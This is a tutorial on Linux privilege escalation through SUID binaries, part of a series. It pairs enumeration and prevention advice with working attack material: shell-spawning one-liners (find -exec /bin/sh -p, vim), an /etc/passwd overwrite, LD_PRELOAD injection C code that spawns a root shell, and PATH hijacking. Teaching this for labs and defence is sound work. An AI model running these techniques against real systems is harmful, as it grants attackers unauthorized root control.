Linux Privilege Escalation: SUID Binaries

This is the first of eight guides in the Linux Privilege Escalation series (SUID, Capabilities, Cron Jobs, PATH Hijacking, NFS, Writable Files, Kernel Exploits, LinPEAS) — together they cover the standard enumeration-to-exploitation checklist you'd run through on any post-shell Linux box. SUID is the natural starting point, since it's usually the first thing any enumeration pass (including LinPEAS itself, covered in the final guide) checks for. Worth locking in the distinction immediately: **Part 1 covers what SUID actually does and how to find exploitable binaries — Part 2 covers the actual exploitation techniques once a candidate binary is identified**, since finding a SUID binary and successfully abusing it for root are two genuinely different skill sets.

---

1. What SUID Actually Does — The Foundation

Every Linux process normally runs with the permissions of the user who launched it. The **SUID (Set User ID)** bit is a special permission flag that changes this rule for a specific executable: when set, the binary runs with the permissions of its **owner**, not the user executing it — regardless of who actually invokes it.

```
Normal execution:  user runs binary  → process runs as USER
SUID execution:     user runs binary  → process runs as the BINARY'S OWNER (often roo
t), even though a completely different user launched it

ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 68208 ... /usr/bin/passwd
   ^
the 's' here (instead of 'x') marks the SUID bit - passwd needs to run as root momenta
rily to write to /etc/shadow, which ordinary users can't touch directly
```

The single fact that makes this exploitable — SUID is a completely legitimate, necessary mechanism (many binaries genuinely need brief elevated privileges to do their job), but if a SUID-root binary can be manipulated into doing something OTHER than its intended narrow function — spawning a shell, reading an arbitrary file, writing to a protected location — that

unintended action inherits the SUID binary's root privileges too, not the invoking user's.

PART 1: Finding Exploitable SUID Binaries

2. Enumeration — Locating Every SUID Binary on the System

```
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
```

```
-perm -4000  → matches files with the SUID bit set (4000 is the
               octal representation of the SUID bit specifically)
2>/dev/null  → suppresses "permission denied" noise from
               directories you can't read, keeping output usable
```

3. Distinguishing Expected vs Suspicious SUID Binaries

Most systems ship a standard, expected set of SUID binaries (`passwd`, `su`, `sudo`, `mount`, `ping` in some configurations) — the goal is spotting anything **beyond** that baseline, or a standard binary that's been misconfigured/is an outdated vulnerable version:

```
# Compare found binaries against GTFOBins' known-exploitable list
find / -perm -4000 -type f 2>/dev/null | xargs -I{} basename {}
```

```
GTFOBins (gtfobins.github.io) maintains a curated, continuously updated list of standard Unix binaries with KNOWN privilege-escalation techniques when SUID, sudo-enabled, or otherwise exploitable - the single most important reference for this entire guide. Checking your enumerated binary list against GTFOBins should be the immediate next step after Section 2's find command.
```

4. Custom / Third-Party SUID Binaries — Higher-Value Targets

Custom, organization-written, or unusual third-party SUID binaries are frequently far more exploitable than well-audited standard Unix tools, since they haven't received the same level of public security scrutiny:

```
- Internal admin/backup scripts accidentally left SUID-root
- Legacy or unpatched third-party software with a SUID component
- Anything where 'file' or 'strings' output looks custom/unusual rather than matching
a recognizable standard coreutils binary
```

PART 2: Exploitation Techniques

5. Direct Functionality Abuse — The GTFOBins Pattern

Many standard binaries have a built-in feature (often intended for legitimate advanced use) that can read/write arbitrary files or spawn a shell — when SUID-root, that built-in feature runs with root privileges:

```
# find with -exec, if SUID
find . -exec /bin/sh -p \; -quit

# vim/less/more, if SUID (spawning a shell from within)
vim -c ':!/bin/sh'

# cp, if SUID (overwriting /etc/passwd or /etc/shadow direc
tly)
cp /tmp/malicious_passwd /etc/passwd
```

```
The -p flag on sh/bash preserves elevated privileges across the shell spawn specifical
ly - without it, many modern shells automatically DROP privileges back to the real UID
when detecting a UID/EUID mismatch, silently defeating the exploit
```

6. Shared Library Injection — LD_PRELOAD and LD_LIBRARY_PATH

If a SUID binary can be influenced to load an attacker-controlled shared library, arbitrary code runs with the binary's elevated privileges at load time:

```
// malicious.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
```

```
    unsetenv("LD_PRELOAD");
    setuid(0);
    setgid(0);
    system("/bin/sh -p");
}
```

```
gcc -fPIC -shared -o /tmp/malicious.so /tmp/malicious.c -no
startfiles
LD_PRELOAD=/tmp/malicious.so /path/to/suid_binary
```

```
Note: modern SUID-aware dynamic linkers IGNORE LD_PRELOAD for genuinely SUID binaries
by default as a hardening measure - this technique is most reliable against binaries t
hat DON'T actually have the SUID bit but are instead invoked BY a SUID wrapper/script,
or on older/less-hardened systems
```

7. Abusing an Editable/Missing Library Dependency

If a SUID binary's `ldd` output reveals it loads a library from a location an unprivileged user can write to, replacing that library achieves the same code-execution-as-root outcome as Section 6, without relying on LD_PRELOAD at all:

```
ldd /path/to/suid_binary
# look for any library path that's WRITABLE by your current
user,
# or that doesn't exist yet (a missing dependency you can c
reate)
```

8. Environment Variable / PATH Abuse Within a SUID Binary

If a SUID binary internally calls another program **without specifying its full path** (relying on `$PATH` to resolve it), and your controlled `$PATH` is searched first, you can substitute a malicious binary of the same name — this is a direct preview of the dedicated PATH Hijacking guide later in this series, applied specifically through a SUID context here:

```
# example: a SUID binary internally runs "service" without
a full path
echo '/bin/sh -p' > /tmp/service
```

```
chmod +x /tmp/service
export PATH=/tmp:$PATH
/path/to/suid_binary
```

9. Testing Methodology

```
1. Enumerate all SUID binaries (Section 2)

2. Cross-reference every result against GTFOBins (Section 3) BEFORE attempting anythin
g manual - a documented technique likely already exists

3. For custom/unrecognized binaries (Section 4), run strings/ltrace/ strace to underst
and what the binary actually does internally - particularly what OTHER binaries/files
it reads, writes, or executes

4. Check ldd output for writable library dependencies (Section 7)

5. Attempt LD_PRELOAD injection (Section 6) only after confirming it's not a genuinely
SUID-hardened binary, or target a SUID WRAPPER SCRIPT calling a non-SUID binary instea
d

6. Confirm any successful technique actually yields a root shell (id, whoami) rather t
han just an elevated-looking but non-functional result
```

10. Prevention

```
- Audit SUID binaries regularly (find / -perm -4000) and remove the bit from anything
that doesn't genuinely need it
- Never write custom SUID binaries/scripts unless absolutely necessary - prefer sudo w
ith a tightly scoped, specific command allowlist instead, which is far easier to audit
and reason about
- Keep standard SUID utilities (passwd, sudo, mount, etc.) patched - many historical C
VEs have specifically targeted these binaries' SUID-elevated code paths
- Ensure any SUID binary calls other programs via FULL, absolute paths internally, nev
er relying on $PATH resolution (Section 8)
- Avoid SUID SHELL SCRIPTS entirely on modern Linux - the kernel itself ignores the SU
ID bit on scripts (interpreter-invoked files) specifically because the historical tech
nique for abusing this was so reliable; a SUID WRAPPER binary that then calls a script
is the safer pattern, but still requires careful internal path/environment handling
```

11. Practical Lab Example

```
TryHackMe's "Linux PrivEsc" room and HTB Academy's dedicated privilege escalation modu
les both include purpose-built SUID misconfiguration boxes; GTFOBins itself is best us
ed interactively against a lab VM where you deliberately set the SUID bit on several d
ifferent standard binaries and practice each listed technique.

Suggested practice order:
1. find / -perm -4000 on a fresh lab VM, note the baseline "expected" set (Section 3)
2. Deliberately chmod u+s a few binaries GTFOBins lists (find, vim, cp) and practice e
ach documented technique from Section 5
3. Compile and test the LD_PRELOAD technique from Section 6 against a genuinely SUID b
inary to observe the modern hardening firsthand, then repeat against a SUID WRAPPER SC
RIPT calling a non-SUID binary to see the technique actually succeed
```

Kill Chain / ATT&CK / CWE / OWASP — Full Mapping

Framework	Mapping
CWE	CWE-269 (Improper Privilege Management), CWE-427 (Uncontrolled Search Path Element, covering Section 8)
OWASP Top 10:2025	A02:2025 Security Misconfiguration (SUID bit misassignment is fundamentally a configuration error)
CVSS	Typically High/Critical (PR:L, PR:N depending on initial access requirement, C:H/I:H/A:H) since successful exploitation yields full root/administrative control
Cyber Kill Chain	Privilege Escalation (a distinct, later-stage phase following initial foothold, before Lateral Movement/Actions on Objectives)
MITRE ATT&CK	T1548.001 (Abuse Elevation Control Mechanism: Setuid and Setgid)

Quick Reference Cheat Sheet

```
FIND SUID BINARIES:
  find / -perm -4000 -type f 2>/dev/null

CROSS-REFERENCE:
  Check every result against gtfobins.github.io FIRST

EXPLOITATION TECHNIQUES (in rough order of reliability):
  1. GTFOBins documented technique (Section 5) - try this first
  2. Writable library dependency (Section 7) - check ldd output
  3. LD_PRELOAD injection (Section 6) - works best against wrapper
     scripts, not hardened genuine SUID binaries directly
  4. PATH hijacking within the binary's internal calls (Section 8)

Root lesson: SUID is legitimate and necessary - the vulnerability is
```

```
never the mechanism itself, always a SPECIFIC binary's exploitable
behavior once it has elevated privileges, which is exactly why
GTFOBins (a per-binary catalog, not a generic technique) is the
central reference this entire guide revolves around.
```
